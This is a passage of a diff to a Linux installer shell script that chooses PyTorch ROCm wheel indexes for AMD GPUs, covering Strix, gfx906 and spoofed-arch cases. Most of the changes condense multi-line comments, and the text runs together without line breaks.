_linux_inferred_gfx=""- # Route on the arch the probe read, not on lspci marketing-name inference:- # the two disagree on a mixed APU + discrete host, and inference's answer- # would install wheels for a GPU the reroute decision never looked at.+ # Route on the arch the probe read, not on lspci marketing-name inference: the two disagree on a mixed APU + discrete host, and inference's answer would install wheels for a GPU the reroute decision never looked at.if [ "${_amd_no_rocm_version_reroute:-false}" = true ]; then_linux_inferred_gfx="${_amd_probed_gfx_first:-}"fi- # The gfx1033 gate in get_torch_index_url is not enough alone: this reroute can take- # an explicit override or a no-version probe family straight back to gfx103X-all.- # UNSLOTH_ROCM_GFX_ARCH is unset too, not just the local: setup.sh forwards it as- # --rocm-gfx and _apply_host_overrides reads any forwarded gfx as proof of ROCm,- # skipping the Vulkan branch (112.8 vs 49.8 tok/s) and asking for a HIP build the host- # cannot run. Keyed on the PHYSICAL inventory, since a stale gfx1030 override makes the- # inferred value look healthy. The gate's own verdict ran in a command substitution and- # cannot be reused, hence the re-probe.+ # The gfx1033 gate in get_torch_index_url is not enough alone: this reroute can take an explicit override or a no-version probe family straight back to gfx103X-all. UNSLOTH_ROCM_GFX_ARCH is unset too, not just the local: setup.sh forwards it as --rocm-gfx and _apply_host_overrides reads any forwarded gfx as proof of ROCm, skipping the Vulkan branch (112.8 vs 49.8 tok/s) and asking for a HIP build the host cannot run. Keyed on the PHYSICAL inventory, since a stale gfx1030 override makes the inferred value look healthy. The gate's own verdict ran in a command substitution and cannot be reused, hence the re-probe._amd_reroute_physical=$(_probe_amd_gfx_arch physical 2>/dev/null || true)[ -n "$_amd_reroute_physical" ] || _amd_reroute_physical=$(_kfd_gfx_targets 2>/dev/null || true)case " $(printf '%s\n' "$_amd_reroute_physical" | sed 's/:.*$//' \@@ -4783,8 +4208,7 @@ if [ "$_torch_index_pinned" = false ] && [ "$SKIP_TORCH" = false ] && \_amd_family=$(_amd_arch_index_family_for_gfx "$_linux_inferred_gfx") || _amd_family=""elif [ "${_amd_no_rocm_version_reroute:-false}" = true ] && \[ -z "${_amd_probed_gfx_first:-}" ]; then- # Multiple healthy arches may share one wheel family. No single arch is- # forwarded to llama.cpp, but torch can still use the agreed family.+ # Multiple healthy arches may share one wheel family. No single arch is forwarded to llama.cpp, but torch can still use the agreed family._amd_family="${_amd_probed_family:-}"fiif [ -n "$_amd_family" ]; then@@ -4793,22 +4217,11 @@ if [ "$_torch_index_pinned" = false ] && [ "$SKIP_TORCH" = false ] && \_amd_mirror="${_amd_mirror%/}"doneTORCH_INDEX_URL="${_amd_mirror}/${_amd_family}/"- # Hand the arch to setup.sh (llama.cpp): it re-probes ROCm on its- # own, and on these runtime-less hosts its probes find nothing, so- # without this it classifies the box as non-ROCm and installs the- # CPU prebuilt while torch just got AMD per-arch wheels. setup.sh- # and install_llama_prebuilt.py both honor UNSLOTH_ROCM_GFX_ARCH,- # so exporting it is the whole handoff (a user-set override- # re-exports unchanged).+ # Hand the arch to setup.sh (llama.cpp): it re-probes ROCm on its own, and on these runtime-less hosts its probes find nothing, so without this it classifies the box as non-ROCm and installs the CPU prebuilt while torch just got AMD per-arch wheels. setup.sh and install_llama_prebuilt.py both honor UNSLOTH_ROCM_GFX_ARCH, so exporting it is the whole handoff.if [ -n "$_linux_inferred_gfx" ]; thenexport UNSLOTH_ROCM_GFX_ARCH="$_linux_inferred_gfx"fi- # A corroborated spoof has to be cleared here as well. The rocm* leaf- # below does it, but this reroute produces a gfx* leaf, which that case- # never matches: the host would install native $_linux_inferred_gfx- # wheels while ROCr kept reporting the spoofed arch, leaving the kernels- # in those wheels unusable. SKIP_TORCH is false on this branch by its- # own guard, so the wheels really are going in.+ # A corroborated spoof has to be cleared here as well. The rocm* leaf below does it, but this reroute produces a gfx* leaf, which that case never matches: the host would install native $_linux_inferred_gfx wheels while ROCr kept reporting the spoofed arch, leaving the kernels in those wheels unusable. SKIP_TORCH is false on this branch by its own guard, so the wheels really are going in.if [ "${_amd_no_rocm_version_reroute:-false}" = true ] && \[ -n "${_amd_spoof_physical:-}" ]; thenunset HSA_OVERRIDE_GFX_VERSION@@ -4826,8 +4239,7 @@ if [ "$_torch_index_pinned" = false ] && [ "$SKIP_TORCH" = false ] && \;;esacecho "" >&2- # KFD-only hosts reach this reroute with /dev/kfd present- # (that's what detected them), so don't claim it's missing.+ # KFD-only hosts reach this reroute with /dev/kfd present (that is what detected them), so do not claim it is missing.if [ "${_amd_no_rocm_version_reroute:-false}" = true ]; thenecho " [WARN] AMD ${_linux_inferred_gfx:-$_amd_family} detected, but no ROCm version could be read (checked amd-smi, /opt/rocm/.info/version, hipconfig, dpkg, rpm)." >&2echo " [WARN] The per-arch index is keyed on the arch alone, so the version is not needed." >&2@@ -4850,18 +4262,7 @@ if [ "$_torch_index_pinned" = false ] && [ "$SKIP_TORCH" = false ] && \esacfi-# Export the resolved torch backend ("cuda", "rocm", or "cpu") so that-# downstream scripts (setup.sh -> install_python_stack.py) know what was-# chosen here and can skip ROCm-specific repair steps on CUDA/CPU hosts.-# Classify on the FINAL path segment only: a custom UNSLOTH_PYTORCH_MIRROR-# whose base path happens to contain "rocm" or "gfx" must not mislabel a-# cu*/cpu index as ROCm (radeon repo URLs end in rocm-rel-X.Y/, Strix-# overrides in gfxNNNN/, so the trailing slash is stripped first).-# Lowercase the leaf so every gfx*/rocm*/cu* arm matches regardless of case (canonical AMD-# RDNA4 leaf is gfx120X-all). CUDA is branded only on a real cu[0-9]* leaf, so a mirror-# leaf (/current) does NOT commit a CUDA backend; an unknown leaf leaves the var unset so-# the stack probes the GPU. Query/fragment dropped first, then ALL trailing slashes (in-# lockstep with the shared _torch_index_url_leaf extractor).+# Export the resolved torch backend ("cuda", "rocm" or "cpu") so setup.sh and install_python_stack.py know what was chosen here and can skip ROCm-specific repair steps. Classify on the FINAL path segment only: a custom UNSLOTH_PYTORCH_MIRROR whose base path happens to contain "rocm" or "gfx" must not mislabel a cu*/cpu index as ROCm (radeon repo URLs end in rocm-rel-X.Y/, Strix overrides in gfxNNNN/, so the trailing slash is stripped first). Lowercase the leaf so every gfx*/rocm*/cu* arm matches regardless of case (the canonical AMD RDNA4 leaf is gfx120X-all). CUDA is branded only on a real cu[0-9]* leaf, so a mirror leaf (/current) does NOT commit a CUDA backend; an unknown leaf leaves the var unset so the stack probes the GPU. Query and fragment are dropped first, then ALL trailing slashes, in lockstep with the shared _torch_index_url_leaf extractor._torch_index_leaf="${TORCH_INDEX_URL%%\?*}"_torch_index_leaf="${_torch_index_leaf%%#*}"while [ -n "$_torch_index_leaf" ] && [ "${_torch_index_leaf%/}" != "$_torch_index_leaf" ]; do@@ -4869,10 +4270,7 @@ while [ -n "$_torch_index_leaf" ] && [ "${_torch_index_leaf%/}" != "$_torch_indedone_torch_index_leaf="${_torch_index_leaf##*/}"_torch_index_leaf=$(printf '%s' "$_torch_index_leaf" | tr '[:upper:]' '[:lower:]')-# Whether the caller had already STATED a backend before the assignment below overwrites it.-# setup.sh documents UNSLOTH_TORCH_BACKEND=cpu as the way to keep a deliberate CPU install,-# and on a GPU-less host the resolved value is cpu too, so without this the manifest cannot-# tell a stated choice from the automatic answer.+# Whether the caller had already STATED a backend before the assignment below overwrites it. setup.sh documents UNSLOTH_TORCH_BACKEND=cpu as the way to keep a deliberate CPU install, and on a GPU-less host the resolved value is cpu too, so without this the manifest cannot tell a stated choice from the automatic answer.if [ -n "${UNSLOTH_TORCH_BACKEND:-}" ]; then_torch_backend_was_stated=true_torch_backend_stated_value=$(printf '%s' "$UNSLOTH_TORCH_BACKEND" | tr '[:upper:]' '[:lower:]')@@ -4888,14 +4286,7 @@ case "$_torch_index_leaf" in*) unset UNSLOTH_TORCH_BACKEND ;;esac-# Derived from the index this script RESOLVED, which on a GPU-less machine is "cpu" whether-# or not anyone asked. Without the marker every ordinary Linux CPU install is recorded as a-# deliberate choice, and a machine that later gains a GPU is never offered the repair.-# Only when the stated family SURVIVED the resolution. The case above has already-# overwritten the variable, so a caller who said "cuda" on a machine with no visible GPU-# now carries the resolved "cpu" -- and treating that as stated records a deliberate CPU-# flavor for a host that asked for CUDA and did not get it. It would then be denied the-# repair for good if the GPU ever became visible.+# Derived from the index this script RESOLVED, which on a GPU-less machine is "cpu" whether or not anyone asked. Without the marker every ordinary Linux CPU install is recorded as a deliberate choice, and a machine that later gains a GPU is never offered the repair. Only when the stated family SURVIVED the resolution: the case above has already overwritten the variable, so a caller who said "cuda" on a machine with no visible GPU now carries the resolved "cpu", and treating that as stated would deny that host the repair for good if the GPU ever became visible.if [ -n "${UNSLOTH_TORCH_BACKEND:-}" ] &&{ [ "$_torch_backend_was_stated" != true ] ||[ "$_torch_backend_stated_value" != "$UNSLOTH_TORCH_BACKEND" ]; }; then@@ -4904,9 +4295,7 @@ elseunset UNSLOTH_TORCH_BACKEND_SOURCEfi-# Whether TORCH_INDEX_URL names an actual pip ROCm family (rocm<digit>* / gfx*), gating the-# ROCm-only side effects below (AMD bitsandbytes, ROCm-torch repair). Digit-gated so a leaf-# merely STARTING with "rocm" isn't force-repaired from the wrong path.+# Whether TORCH_INDEX_URL names an actual pip ROCm family (rocm<digit>* / gfx*), gating the ROCm-only side effects below (AMD bitsandbytes, ROCm-torch repair). Digit-gated so a leaf merely STARTING with "rocm" is not force-repaired from the wrong path.if _is_pip_rocm_family_leaf "$_torch_index_leaf"; then_torch_index_is_rocm_family=trueelse@@ -4920,9 +4309,7 @@ case "$_torch_index_leaf" inTORCHVISION_CONSTRAINT="torchvision>=0.26.0,<0.27.0"TORCHAUDIO_CONSTRAINT="torchaudio>=2.11.0,<2.12.0";;- # Floor 2.6, not the generic 2.4: unsloth/models/_utils.py raises at import for an XPU- # device below it, so a mirror serving an older +xpu wheel would install something that- # cannot run. Reached only through an explicit pin (no Intel autodetect on this side).+ # Floor 2.6, not the generic 2.4: unsloth/models/_utils.py raises at import for an XPU device below it, so a mirror serving an older +xpu wheel would install something that cannot run. Reached only through an explicit pin.xpu)TORCH_CONSTRAINT="torch>=2.6,<2.11.0"TORCHVISION_CONSTRAINT="torchvision>=0.21,<0.26.0"@@ -4932,11 +4319,7 @@ esac_amd_gpu_radeon=falseif [ "$_torch_index_pinned" = false ]; then-# On the LEAF, like every other index classifier here: the AMD per-arch mirror is-# https://repo.amd.com/ROCM/whl/gfx120X-all/, so a whole-URL */rocm* glob brands every-# per-arch reroute as Radeon and the summary then reports repo.radeon.com wheels that-# were never fetched. The two older per-arch reroutes each clear the flag by hand-# afterwards; matching the leaf is what stops the next one from having to.+# On the LEAF, like every other index classifier here: the AMD per-arch mirror is https://repo.amd.com/ROCM/whl/gfx120X-all/, so a whole-URL */rocm* glob brands every per-arch reroute as Radeon and the summary then reports repo.radeon.com wheels that were never fetched. The two older per-arch reroutes each clear the flag by hand afterwards; matching the leaf is what stops the next one from having to.case "$_torch_index_leaf" inrocm*)if _has_amd_rocm_gpu && command -v rocminfo >/dev/null 2>&1 && \@@ -4945,10 +4328,7 @@ case "$_torch_index_leaf" infi;;esac-# 0 when a rocmX.Y index leaf ($1, the final path segment) is older than floor-# $2.$3 (int compare, so rocm7.2 < rocm7.13). Non-rocm leaves (gfx*, cu*, cpu) and-# non-numeric versions return 1. Leaf-based (like $_torch_index_leaf) so a mirror-# base holding its own rocm token compares the family leaf, not the base path.+# 0 when a rocmX.Y index leaf ($1, the final path segment) is older than floor $2.$3 (int compare, so rocm7.2 < rocm7.13). Non-rocm leaves (gfx*, cu*, cpu) and non-numeric versions return 1. Leaf-based so a mirror base holding its own rocm token compares the family leaf, not the base path._rocm_leaf_below() {case "$1" in rocm[0-9]*.[0-9]*) : ;; *) return 1 ;; esac_rb=${1#rocm}; _maj=${_rb%%.*}; _min=${_rb#*.}; _min=${_min%%.*}@@ -4958,43 +4338,22 @@ _rocm_leaf_below() {return 1}# ── Strix Halo / Strix Point: route to the AMD arch-specific index ───────────-# gfx1151/gfx1150 need torch 2.11+rocm7.13 from repo.amd.com/rocm/whl/gfx<arch>/,-# which carries AMD's real fixes (the rocm7.1 _grouped_mm segfault, moe_utils.py:167,-# and later Strix kernel bugs). Every generic pytorch.org index below rocm7.13 lacks-# them (and the Radeon repo can be offline, unslothai#7264), so reroute a detected-# Strix GPU whenever the picked index is older than the arch build -- covers today's-# rocm6.0-7.2 and any future 7.x < 7.13; rocm7.13+ already has the fixes, so leave it.+# gfx1151/gfx1150 need torch 2.11+rocm7.13 from repo.amd.com/rocm/whl/gfx<arch>/, which carries AMD's real fixes (the rocm7.1 _grouped_mm segfault, moe_utils.py:167, and later Strix kernel bugs). Every generic pytorch.org index below rocm7.13 lacks them, and the Radeon repo can be offline (#7264), so reroute a detected Strix GPU whenever the picked index is older than the arch build; rocm7.13+ already has the fixes.case "$_torch_index_leaf" inrocm[0-9]*)- # Collect every gfx token in rocminfo / amd-smi enumeration order- # (skip duplicates), then index by HIP_VISIBLE_DEVICES /- # ROCR_VISIBLE_DEVICES so a mixed Strix iGPU + non-Strix dGPU box- # where the user selected the dGPU does NOT get rerouted to the- # Strix per-gfx index.- # || true on each probe: no gfx match makes grep exit 1, which under- # set -euo pipefail would abort the installer before the next fallback- # runs (now that the case matches every rocm* index, not just rocm7.1).- # A user-supplied UNSLOTH_ROCM_GFX_ARCH overrides probing (mirrors setup.sh- # and the display block), so a Strix override still reaches the arch index.+ # Collect every gfx token in rocminfo / amd-smi enumeration order (skipping duplicates), then index by HIP_VISIBLE_DEVICES / ROCR_VISIBLE_DEVICES so a mixed Strix iGPU + non-Strix dGPU box where the user selected the dGPU does NOT get rerouted to the Strix per-gfx index. `|| true` on each probe: no gfx match makes grep exit 1, which under set -euo pipefail would abort the installer before the next fallback runs. A user-supplied UNSLOTH_ROCM_GFX_ARCH overrides probing, mirroring setup.sh and the display block._gfx_all=$(printf '%s' "${UNSLOTH_ROCM_GFX_ARCH:-}" | tr '[:upper:]' '[:lower:]')if [ -z "$_gfx_all" ] && command -v rocminfo >/dev/null 2>&1; then_gfx_all=$(rocminfo 2>/dev/null | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true)fiif [ -z "$_gfx_all" ] && command -v amd-smi >/dev/null 2>&1; then_gfx_all=$(amd-smi list 2>/dev/null | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true)- # PowerShell paths also probe `amd-smi static --asic`; mirror it- # so a host with hipinfo-less amd-smi reports the gfx target.+ # PowerShell paths also probe `amd-smi static --asic`; mirror it so a host with hipinfo-less amd-smi reports the gfx target.if [ -z "$_gfx_all" ]; then_gfx_all=$(amd-smi static --asic 2>/dev/null | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true)fifi- # get_torch_index_url reads the arch with ROCR/HIP masks cleared, so a- # mask hiding every agent (e.g. ROCR_VISIBLE_DEVICES=-1) still lands- # here on a generic rocm index; re-probe unmasked or a masked-out Strix- # box keeps the broken generic wheels. Partial masks never get here- # (they enumerate at least one agent above) and keep their selection.- # ${VAR+x} (not :-): a SET-but-empty mask also hides every agent and- # must trigger the re-probe too.+ # get_torch_index_url reads the arch with ROCR/HIP masks cleared, so a mask hiding every agent (ROCR_VISIBLE_DEVICES=-1) still lands here on a generic rocm index; re-probe unmasked or a masked-out Strix box keeps the broken generic wheels. Partial masks never get here (they enumerate at least one agent above) and keep their selection. ${VAR+x}, not :-, because a SET-but-empty mask also hides every agent and must trigger the re-probe.if [ -z "$_gfx_all" ] && [ -n "${ROCR_VISIBLE_DEVICES+x}${HIP_VISIBLE_DEVICES+x}" ]; thenif command -v rocminfo >/dev/null 2>&1; then_gfx_all=$( (unset ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES; rocminfo 2>/dev/null) | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true)@@ -5005,10 +4364,7 @@ case "$_torch_index_leaf" in_gfx_all=$( (unset ROCR_VISIBLE_DEVICES HIP_VISIBLE_DEVICES; amd-smi static --asic 2>/dev/null) | grep -oE 'gfx[1-9][0-9a-z]{2,3}' || true)fifi- # HSA_OVERRIDE_GFX_VERSION=11.0.0 (the circulated Strix workaround) makes ROCr- # hand rocminfo the SPOOFED ISA, so a gfx1151 host reports gfx1100 and the Strix- # case below never matches (unslothai#7331). Correct the reading back to the- # physical arch first, only in the narrow shape that cannot be a real mixed host.+ # HSA_OVERRIDE_GFX_VERSION=11.0.0 (the circulated Strix workaround) makes ROCr hand rocminfo the SPOOFED ISA, so a gfx1151 host reports gfx1100 and the Strix case below never matches (#7331). Correct the reading back to the physical arch first, only in the narrow shape that cannot be a real mixed host._spoof_physical=""if [ -n "${HSA_OVERRIDE_GFX_VERSION:-}" ] && [ -n "$_gfx_all" ]; then_spoof_inferred=$(_infer_linux_amd_gfx_arch 2>/dev/null || true)@@ -5033,12 +4389,7 @@ case "$_torch_index_leaf" inif (n > 0) print vals[idx]}')fi- # An explicit UNSLOTH_ROCM_GFX_ARCH=gfx906 pins the runtime target to the- # MI50 / Radeon VII path and must win over Strix probe-order detection on a- # mixed Strix + MI50 host, so the Strix reroute is suppressed when it is set.- # Normalize a copied HIP gcnArchName (gfx906:sramecc-:xnack- -> gfx906) and- # trim whitespace (mirrors the Python .strip()) so the feature-flag suffix or- # a stray newline does not defeat the exact gfx906 comparisons below.+ # An explicit UNSLOTH_ROCM_GFX_ARCH=gfx906 pins the runtime target to the MI50 / Radeon VII path and must win over Strix probe-order detection on a mixed Strix + MI50 host, so the Strix reroute is suppressed when it is set. Normalize a copied HIP gcnArchName (gfx906:sramecc-:xnack- to gfx906) and trim whitespace so the suffix or a stray newline does not defeat the exact gfx906 comparisons below._gfx906_env=$(printf '%s' "${UNSLOTH_ROCM_GFX_ARCH:-}" | tr '[:upper:]' '[:lower:]' | tr -d '[:space:]')_gfx906_env=${_gfx906_env%%:*}_strix_gfx=""@@ -5047,8 +4398,7 @@ case "$_torch_index_leaf" ingfx1151|gfx1150|gfx1152) _strix_gfx="$_runtime_gfx" ;;esacfi- # Skip rocm7.13+ generic indexes: they already ship the fixes, so the- # arch build (rocm7.13) would be a downgrade rather than a rescue.+ # Skip rocm7.13+ generic indexes: they already ship the fixes, so the arch build (rocm7.13) would be a downgrade rather than a rescue.if [ -n "$_strix_gfx" ] && _rocm_leaf_below "$_torch_index_leaf" 7 13; thenecho "" >&2echo " [WARN] $_strix_gfx (Strix) detected -- routing to the AMD arch-specific index" >&2@@ -5067,16 +4417,7 @@ case "$_torch_index_leaf" inTORCHVISION_CONSTRAINT="torchvision>=0.26.0,<0.27.0"TORCHAUDIO_CONSTRAINT="torchaudio>=2.11.0,<2.12.0"_amd_gpu_radeon=false- # Routing the wheels is only half of unslothai#7331: ROCr rebuilds the agent- # from HSA_OVERRIDE_GFX_VERSION in every LATER process (and this shell execs- # Unsloth further down), so leaving it set hands the freshly installed per-gfx- # wheels a device whose reported ISA matches none of their code. Only on this- # branch, where the spoof was corroborated and native $_strix_gfx wheels are- # going in; paths that keep generic wheels need the override as their only- # source of kernels. SKIP_TORCH is the other half of "the wheels are going in":- # --no-torch reaches this branch and installs nothing, so clearing the override- # there would strand the host with generic wheels AND no override.- # Mirrors _clear_confirmed_hsa_spoof in studio/install_python_stack.py.+ # Routing the wheels is only half of #7331: ROCr rebuilds the agent from HSA_OVERRIDE_GFX_VERSION in every LATER process (and this shell execs Unsloth further down), so leaving it set hands the freshly installed per-gfx wheels a device whose reported ISA matches none of their code. Only on this branch, where the spoof was corroborated and native $_strix_gfx wheels are going in; paths that keep generic wheels need the override as their only source of kernels. SKIP_TORCH is the other half of "the wheels are going in": --no-torch reaches this branch and installs nothing, so clearing the override there would strand the host with generic wheels AND no override. Mirrors _clear_confirmed_hsa_spoof in studio/install_python_stack.py.if [ -n "$_spoof_physical" ] && [ "$SKIP_TORCH" = false ]; thenunset HSA_OVERRIDE_GFX_VERSIONecho " [WARN] Clearing HSA_OVERRIDE_GFX_VERSION for the rest of this install:" >&2@@ -5086,20 +4427,7 @@ case "$_torch_index_leaf" infifi# ── MI50 / Radeon VII (gfx906, Vega 20): legacy community-supported path ──- # Newer rocm wheel families bundle ROCm libraries whose Tensile kernels- # dropped gfx906 (rocBLAS "TensileLibrary.dat ... not read for gfx906",- # ROCm/TheRock#1844), so a rocm6.4+/7.x index installs a torch that fails- # at the first BLAS call. The rocm6.3 index is the last one whose wheels- # run on gfx906 (torch 2.7.0 verified on MI50 32GB; up to 2.9 in community- # use). Reroute any newer picked index; leave rocm6.0-6.3 alone.- #- # Target resolution: an explicit UNSLOTH_ROCM_GFX_ARCH wins (lets a host- # whose rocminfo/amd-smi emit no gfx token still opt in; _gfx906_env was- # lowercased above, before the Strix block it suppresses). Otherwise only- # treat gfx906 as the target when it is the SOLE distinct arch present:- # _gfx_all is de-duplicated by visible index, which loses per-device- # ordinals on a mixed host, so a non-gfx906 selection must never be- # downgraded to rocm6.3 -- such hosts set UNSLOTH_ROCM_GFX_ARCH to opt in.+ # Newer rocm wheel families bundle ROCm libraries whose Tensile kernels dropped gfx906 (rocBLAS "TensileLibrary.dat ... not read for gfx906", ROCm/TheRock#1844), so a rocm6.4+/7.x index installs a torch that fails at the first BLAS call. The rocm6.3 index is the last one whose wheels run on gfx906 (torch 2.7.0 verified on MI50 32GB; up to 2.9 in community use), so reroute any newer picked index and leave rocm6.0-6.3 alone. Target resolution: an explicit UNSLOTH_ROCM_GFX_ARCH wins, letting a host whose rocminfo/amd-smi emit no gfx token still opt in. Otherwise only treat gfx906 as the target when it is the SOLE distinct arch present: _gfx_all is de-duplicated by visible index, which loses per-device ordinals on a mixed host, so a non-gfx906 selection must never be downgraded to rocm6.3._gfx906_target=falseif [ -n "$_gfx906_env" ]; then[ "$_gfx906_env" = "gfx906" ] && _gfx906_target=true@@ -5107,11 +4435,7 @@ case "$_torch_index_leaf" in_gfx906_uniq=$(printf '%s\n' "$_gfx_all" | awk 'NF && !seen[$0]++')[ "$_gfx906_uniq" = "gfx906" ] && _gfx906_target=truefi- # gfx906 always trains from the PyTorch rocm6.3 wheels, never the Radeon repo- # (repo.radeon.com wheels carry no gfx906 BLAS kernels). Clear the Radeon- # marketing-name flag as soon as gfx906 is the target -- even when the host- # already picks rocm6.0-6.3 and the reroute below is a no-op -- so a Radeon VII- # does not divert to the radeon branch on those versions.+ # gfx906 always trains from the PyTorch rocm6.3 wheels, never the Radeon repo, whose wheels carry no gfx906 BLAS kernels. Clear the Radeon marketing-name flag as soon as gfx906 is the target, even when the host already picks rocm6.0-6.3 and the reroute below is a no-op, so a Radeon VII does not divert to the radeon branch on those versions.if [ "$_gfx906_target" = true ]; then_amd_gpu_radeon=falsefi@@ -5156,9 +4480,7 @@ fi_TAURI_GPU_BRANCH=$(_tauri_gpu_branch "$_TAURI_TORCH_INDEX_FAMILY" "$_amd_gpu_radeon")tauri_diag_marker "$_TAURI_GPU_BRANCH" "$_TAURI_TORCH_INDEX_FAMILY"-# Pair each rocminfo GPU gfx id with its marketing name instead of using the CPU-first-# global name (#7307). Blank names keep device ordinals; no GPU keeps the old fallback.-# Keep in sync with studio/setup.sh.+# Pair each rocminfo GPU gfx id with its marketing name instead of using the CPU-first global name (#7307). Blank names keep device ordinals; no GPU keeps the old fallback. Keep in sync with studio/setup.sh._rocminfo_gpu_records() {awk '# Split at the first colon so embedded colons survive.@@ -5193,13 +4515,7 @@ _rocminfo_gpu_records() {'}-# amd-smi enumerates in discovery order over its KFD view; HIP_VISIBLE_DEVICES and-# ROCR_VISIBLE_DEVICES index HIP/ROCr order, which the library derives from the KFD node-# id instead. The two disagree on real hardware (MI350X SPX/NPS1), and _gfx here becomes-# --rocm-gfx, so an untranslated ordinal can fetch a prebuilt for another card's arch.-# `amd-smi list -e` is the map AMD publishes for this (HIP_ID, ROCm 6.4.0+); the Python-# side reads the same field in utils/hardware/amd.py get_hip_id_by_gpu_index.-# Keep in sync with studio/setup.sh.+# amd-smi enumerates in discovery order over its KFD view, while HIP_VISIBLE_DEVICES and ROCR_VISIBLE_DEVICES index HIP/ROCr order, which the library derives from the KFD node id instead. The two disagree on real hardware (MI350X SPX/NPS1), and _gfx here becomes --rocm-gfx, so an untranslated ordinal can fetch a prebuilt for another card's arch. `amd-smi list -e` is the map AMD publishes for this (HIP_ID, ROCm 6.4.0+); utils/hardware/amd.py get_hip_id_by_gpu_index reads the same field. Keep in sync with studio/setup.sh._amd_smi_hip_order() {# POSIX awk forbids a physical newline in a -v value (gawk --posix makes it fatal),# so the records arrive on stdin ahead of the map, separated by a sentinel. The first@@ -5236,10 +4552,7 @@ _amd_smi_hip_order() {'}-# One `gfx|marketing name` per adapter, in `GPU: N` order, so the mask picks both halves-# of one device. Was: arch indexed, name always adapter 0's -- and on amd-smi 6.1.1, which-# has no TARGET_GRAPHICS_VERSION, that name is what --rocm-gfx is inferred from.-# Keep in sync with studio/setup.sh.+# One `gfx|marketing name` per adapter, in `GPU: N` order, so the mask picks both halves of one device. Was: arch indexed, name always adapter 0's, and on amd-smi 6.1.1, which has no TARGET_GRAPHICS_VERSION, that name is what --rocm-gfx is inferred from. Keep in sync with studio/setup.sh._amd_smi_gpu_records() {awk 'function value(line, v) {@@ -5288,12 +4601,7 @@ elif case "$TORCH_INDEX_URL" in */rocm*|*/gfx*) true ;; *) false ;; esac; then| _amd_smi_hip_order "$_gpu_disp_smi_records" || true)_gpu_disp_smi_space=$(printf '%s\n' "$_gpu_disp_smi_out" | head -n 1)_gpu_disp_smi_records=$(printf '%s\n' "$_gpu_disp_smi_out" | tail -n +2)- # No map, and the adapters are not interchangeable: the mask indexes HIP order- # while these records are in discovery order, so any ordinal is a guess. Report- # nothing rather than name one card while the mask selects another. amd-smi- # 6.1.1 reports no TARGET_GRAPHICS_VERSION at all and the arch is then inferred- # from the name, so an archless record is compared on its name instead.- # Interchangeable adapters are unaffected: every ordinal gives the same answer.+ # No map, and the adapters are not interchangeable: the mask indexes HIP order while these records are in discovery order, so any ordinal is a guess. Report nothing rather than name one card while the mask selects another. amd-smi 6.1.1 reports no TARGET_GRAPHICS_VERSION at all and the arch is then inferred from the name, so an archless record is compared on its name instead. Interchangeable adapters are unaffected: every ordinal gives the same answer.if [ "$_gpu_disp_smi_space" != hip ] && \[ "$(printf '%s\n' "$_gpu_disp_smi_records" | awk -F'|' \'NF { k = ($1 != "" ? $1 : "name:" $2); if (!(k in seen)) { seen[k]; n++ } }@@ -5368,8 +4676,7 @@ elif case "$TORCH_INDEX_URL" in */rocm*|*/gfx*) true ;; *) false ;; esac; thenstep "gpu" "AMD ROCm"fi_rocm_root="${ROCM_PATH:-${HIP_PATH:-/opt/rocm}}"- # Only claim a path that is really there: /opt/rocm is a FALLBACK, not a detection, and- # a runtime-only ROCm (no SDK tree) reaches here with nothing at that path.+ # Only claim a path that is really there: /opt/rocm is a FALLBACK, not a detection, and a runtime-only ROCm (no SDK tree) reaches here with nothing at that path.if [ -d "$_rocm_root" ]; thensubstep "ROCm: $_rocm_root"else@@ -5382,13 +4689,10 @@ elif [ "$OS" = "macos" ] && [ "$_ARCH" = "arm64" ]; thenstep "gpu" "Apple Silicon (Metal, unified memory)"elif _has_amd_rocm_gpu; thenif [ "$_torch_index_pinned" = true ]; then- # An explicit UNSLOTH_TORCH_INDEX_URL/_FAMILY pin skipped all probing;- # do not claim ROCm is unusable when a CPU/other index was requested.+ # An explicit UNSLOTH_TORCH_INDEX_URL/_FAMILY pin skipped all probing; do not claim ROCm is unusable when a CPU or other index was requested.step "gpu" "AMD GPU (torch index pinned: $_torch_index_leaf)" "$C_WARN"else- # AMD GPU visible to the kernel but the torch index stayed CPU: no usable- # ROCm userspace to pick a wheel. "none" would repeat the false diagnosis- # this installer used to give.+ # AMD GPU visible to the kernel but the torch index stayed CPU: no usable ROCm userspace to pick a wheel. "none" would repeat the false diagnosis this installer used to give.step "gpu" "AMD GPU (no usable ROCm -- CPU fallback)" "$C_WARN"fielse@@ -5400,17 +4704,10 @@ case "$TORCH_INDEX_URL" in*/cpu)if [ "$SKIP_TORCH" = false ] && [ "$OS" != "macos" ]; thenif [ "$_torch_index_pinned" = true ]; then- # An explicit CPU pin is a request, not a detection failure:- # skip the SDK guidance (ROCm may be perfectly healthy here).+ # An explicit CPU pin is a request, not a detection failure: skip the SDK guidance, since ROCm may be perfectly healthy here.substep "CPU-only PyTorch (index pinned via UNSLOTH_TORCH_INDEX_URL / _FAMILY)."elif _has_amd_rocm_gpu; then- # A generation ROCm never covered is not a missing SDK (unslothai#8529).- # Unlike the arm in get_torch_index_url, this one runs even when the arch- # read fine, so it needs its own peer guard: an RX 5700 beside an RX 7900- # lands here whenever the 7900's ROCm is too old, and blaming the 5700- # would replace the upgrade advice with advice that is false for the card- # that caused the fallback. _infer_linux_amd_gfx_arch scans every display- # adapter, so a covered answer clears this one.+ # A generation ROCm never covered is not a missing SDK (#8529). Unlike the arm in get_torch_index_url, this one runs even when the arch read fine, so it needs its own peer guard: an RX 5700 beside an RX 7900 lands here whenever the 7900's ROCm is too old, and blaming the 5700 would replace the upgrade advice with advice that is false for the card that caused the fallback. _infer_linux_amd_gfx_arch scans every display adapter, so a covered answer clears this one._covered_disp_gfx=$(_infer_linux_amd_gfx_arch 2>/dev/null) || _covered_disp_gfx=""if [ -n "$_covered_disp_gfx" ] && _amd_arch_index_family_for_gfx "$_covered_disp_gfx" >/dev/null 2>&1; then_unsup_disp_gfx=""@@ -5431,9 +4728,7 @@ case "$TORCH_INDEX_URL" insubstep "No GPU detected -- installing CPU-only PyTorch." "$C_WARN"fiif [ "$OS" = "wsl" ] && [ "$_torch_index_pinned" = false ]; then- # WSL + no GPU detected (detection above found nothing). Common- # cause: an AMD GPU whose ROCm-on-WSL runtime isn't exposed yet --- # /dev/dxg present (graphics) but no ROCm runtime.+ # WSL and no GPU detected. Common cause: an AMD GPU whose ROCm-on-WSL 